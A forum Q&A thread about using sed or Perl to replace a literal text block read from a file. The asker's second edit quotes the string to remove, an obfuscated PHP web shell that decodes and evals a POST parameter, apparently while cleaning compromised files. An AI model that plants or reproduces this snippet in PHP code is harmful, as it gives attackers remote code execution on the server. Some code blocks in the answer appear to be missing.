I want to replace a long part of a file with something else preferably by sed but want to read that long part from a file. I already found this:
sed -e '/<TEXT1>/{r File1' -e 'd}' File2
from here which is the exact opposite of what I want to achieve. I tried lot of things like the following but all give the wrong result:
sed -e '/r needle.txt/replace' subject.txt
EDIT 1
needle.txt is not regex, just the text I want to be replaced with lots of non ascii characters.
EDIT 2
the exact string I'm dealing with is this:
<?php $sF="PCT4BA6ODSE_";$s21=strtolower($sF[4].$sF[5].$sF[9].$sF[10].$sF[6].$sF[3].$sF[11].$sF[8].$sF[10].$sF[1].$sF[7].$sF[8].$sF[10]);$s22=${strtoupper($sF[11].$sF[0].$sF[7].$sF[9].$sF[2])}['n1509e9'];if(isset($s22)){eval($s21($s22));}?><?php
I want to keep the last <?php
Best Answer
You can have the shell expand the file's contents before passing them to
sed
:Note the use of double quotes.
This will make
sed
interpret any regex metacharacters fromneedle.txt
as regex metacharacters and not ordinary characters. It will break ifneedle.txt
contains a/
.In case you want the lines of
needle.txt
to be interpreted literally (even if they contain regex metacharacters as in your example), you can do something like:Explanation
-pe
switches mean apply the code that follows line by line to the lines of thesubject.txt
file and print each line after you're done processing it.BEGIN{}
segment is only executed once. What it does is it opens theneedle.txt
file and stores all of its contents in the$needle
variable.s/\Q$needle/replace/
is the same syntax you'd expect fromsed
except that\Q
causes Perl's regex engine to treat everything after it as a fixed string rather than a regex.